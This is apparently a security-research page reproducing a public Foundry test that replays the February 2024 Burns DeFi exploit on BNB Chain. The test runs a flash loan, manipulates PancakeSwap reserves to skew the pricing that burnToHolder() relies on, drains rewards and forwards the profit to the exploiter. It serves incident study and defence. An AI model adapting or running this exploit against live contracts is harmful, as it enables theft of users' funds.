Skip to content
THREATWIRE

Public reproduction file

src/test/2024-02/BurnsDefi_exp.sol

Public reproduction file for dataset entry BurnsDefi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-02/BurnsDefi_exp.sol134 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$67K
8// Attacker : https://bscscan.com/address/0xc9fbcf3eb24385491f73bbf691b13a6f8be7c339
9// Attack Contract : https://bscscan.com/address/0xb5eebf73448e22ce6a556f848360057f6aadd4e7
10// Vuln Contract : https://bscscan.com/address/0x4fb9657ac5d311dd54b37a75cfb873b127eb21fd
11// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x1d0af3a963682748493f21bf9e955ce3a950bee5817401bf2486db7a0af104b4
13// @Analysis
14// https://twitter.com/pennysplayer/status/1754342573815238946
15// https://medium.com/neptune-mutual/how-was-citadel-finance-exploited-a5f9acd0b408 (similar incident)
17interface IBurnsBuild {
18 function burnToHolder(uint256 amount, address _invitation) external;
20 function receiveRewards(
21 address to
22 ) external;
25contract ContractTest is Test {
26 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
27 IERC20 private constant Burns = IERC20(0x91f1d3C7ddB8d5E290e71f893baD45F16E8Bd7BA);
28 IWETH private constant WBNB = IWETH(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
29 DVM private constant DSP = DVM(0xD5F05644EF5d0a36cA8C8B5177FfBd09eC63F92F);
30 Uni_Pair_V2 private constant BUSDT_WBNB = Uni_Pair_V2(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
31 Uni_Pair_V2 private constant Burns_WBNB = Uni_Pair_V2(0x928cd66dFA268C69a37Be93BF7759dc8Ee676Bf8);
32 Uni_Router_V2 private constant PancakeRouter = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
33 IBurnsBuild private constant BurnsBuild = IBurnsBuild(0x4fb9657Ac5d311dD54B37A75cFB873b127Eb21FD);
35 // address private exploiter = makeAddr("exploiter");
36 address private constant exploiter = 0xC9FBCf3EB24385491f73BbF691b13A6f8Be7C339;
38 function setUp() public {
39 vm.createSelectFork("bsc", 35_858_189);
40 vm.label(address(BUSDT), "BUSDT");
41 vm.label(address(Burns), "Burns");
42 vm.label(address(WBNB), "WBNB");
43 vm.label(address(DSP), "DSP");
44 vm.label(address(BUSDT_WBNB), "BUSDT_WBNB");
45 vm.label(address(Burns_WBNB), "Burns_WBNB");
46 vm.label(address(PancakeRouter), "PancakeRouter");
47 vm.label(address(BurnsBuild), "BurnsBuild");
48 vm.label(exploiter, "Exploiter");
49 }
51 function testExploit() public {
52 deal(address(BUSDT), address(this), 0);
53 deal(address(this), 0);
54 emit log_named_decimal_uint(
55 "Exploiter BUSDT balance before attack", BUSDT.balanceOf(exploiter), BUSDT.decimals()
56 );
57 emit log_named_decimal_uint(
58 "Exploiter Burns balance before attack", Burns.balanceOf(exploiter), Burns.decimals()
59 );
60 // Borrow BUSDT
61 bytes memory data = abi.encodePacked(uint8(49));
62 DSP.flashLoan(250_000 * 1e18, 0, address(this), data);
64 emit log_named_decimal_uint(
65 "Exploiter BUSDT balance after attack", BUSDT.balanceOf(exploiter), BUSDT.decimals()
66 );
68 emit log_named_decimal_uint(
69 "Exploiter Burns balance after attack", Burns.balanceOf(exploiter), Burns.decimals()
70 );
71 }
73 function DSPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
74 BUSDTToBurns(baseAmount);
76 address[] memory path = new address[](2);
77 path[0] = address(Burns);
78 path[1] = address(WBNB);
79 uint256 amountOut1 = 50e18;
80 uint256 amountOut2 = address(Burns).balance - amountOut1;
81 uint256[] memory amounts = PancakeRouter.getAmountsIn(amountOut1, path);
83 // burnToHolder() use getAmountsOut() and Burns/WBNB pair for making calculations
84 BurnsBuild.burnToHolder(amounts[0], exploiter);
85 amounts = PancakeRouter.getAmountsIn(amountOut2, path);
86 BurnsBuild.burnToHolder(amounts[0], exploiter);
87 BurnsBuild.receiveRewards(address(this));
88 WBNB.deposit{value: address(this).balance}();
90 WBNBToBUSDT();
91 BurnsToBUSDT();
93 BUSDT.transfer(address(DSP), baseAmount);
94 BUSDT.transfer(exploiter, BUSDT.balanceOf(address(this)));
95 }
97 receive() external payable {}
99 function BUSDTToBurns(
100 uint256 amount
101 ) private {
102 // Transfer borrowed BUSDT to BUSDT/WBNB pair and obtain WBNB to deposit to Burns/WBNB pair
103 BUSDT.transfer(address(BUSDT_WBNB), amount);
104 (uint112 reserveBUSDT, uint112 reserveWBNB,) = BUSDT_WBNB.getReserves();
105 uint256 amountWBNB = PancakeRouter.getAmountOut(amount, reserveBUSDT, reserveWBNB);
106 // Deposit WBNB to Burns/WBNB
107 BUSDT_WBNB.swap(0, amountWBNB, address(Burns_WBNB), "");
109 (uint112 reserveBurns, uint112 _reserveWBNB,) = Burns_WBNB.getReserves();
110 uint256 amountBurns = PancakeRouter.getAmountOut(amountWBNB, _reserveWBNB, reserveBurns);
111 // Swap deposited WBNB to Burns tokens
112 Burns_WBNB.swap(amountBurns, 0, address(this), "");
113 }
115 function WBNBToBUSDT() private {
116 uint256 amountWBNB = WBNB.balanceOf(address(this));
117 WBNB.transfer(address(BUSDT_WBNB), amountWBNB);
118 (uint112 reserveBUSDT, uint112 reserveWBNB,) = BUSDT_WBNB.getReserves();
119 uint256 amountBUSDT = PancakeRouter.getAmountOut(amountWBNB, reserveWBNB, reserveBUSDT);
120 BUSDT_WBNB.swap(amountBUSDT, 0, address(this), "");
121 }
123 function BurnsToBUSDT() private {
124 Burns.transfer(address(Burns_WBNB), Burns.balanceOf(address(this)));
125 (uint112 reserveBurns, uint112 reserveWBNB,) = Burns_WBNB.getReserves();
126 uint256 amountWBNB =
127 PancakeRouter.getAmountOut(Burns.balanceOf(address(Burns_WBNB)) - reserveBurns, reserveBurns, reserveWBNB);
128 Burns_WBNB.swap(0, amountWBNB, address(BUSDT_WBNB), "");
130 (uint112 reserveBUSDT, uint112 _reserveWBNB,) = BUSDT_WBNB.getReserves();
131 uint256 amountBUSDT = PancakeRouter.getAmountOut(amountWBNB, _reserveWBNB, reserveBUSDT);
132 BUSDT_WBNB.swap(amountBUSDT, 0, address(this), "");
133 }

Analysis

Dataset entry

Public Foundry test for “BurnsDefi” (2024-02-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

21 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc9fbcf3eb24385491f73bbf691b13a6f8be7c339

  • Attack Contract

    0xb5eebf73448e22ce6a556f848360057f6aadd4e7

  • Attack Tx

    0x1d0af3a963682748493f21bf9e955ce3a950bee5817401bf2486db7a0af104b4

File record

Name
BurnsDefi
Path
src/test/2024-02/BurnsDefi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5b2b3526ca3fc91be578e19f56801b3c6ab12695
Language
Solidity
Size
135 lines
Date
2024-02-05
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-02/BurnsDefi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5b2b3526ca3fc91be578e19f56801b3c6ab12695, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.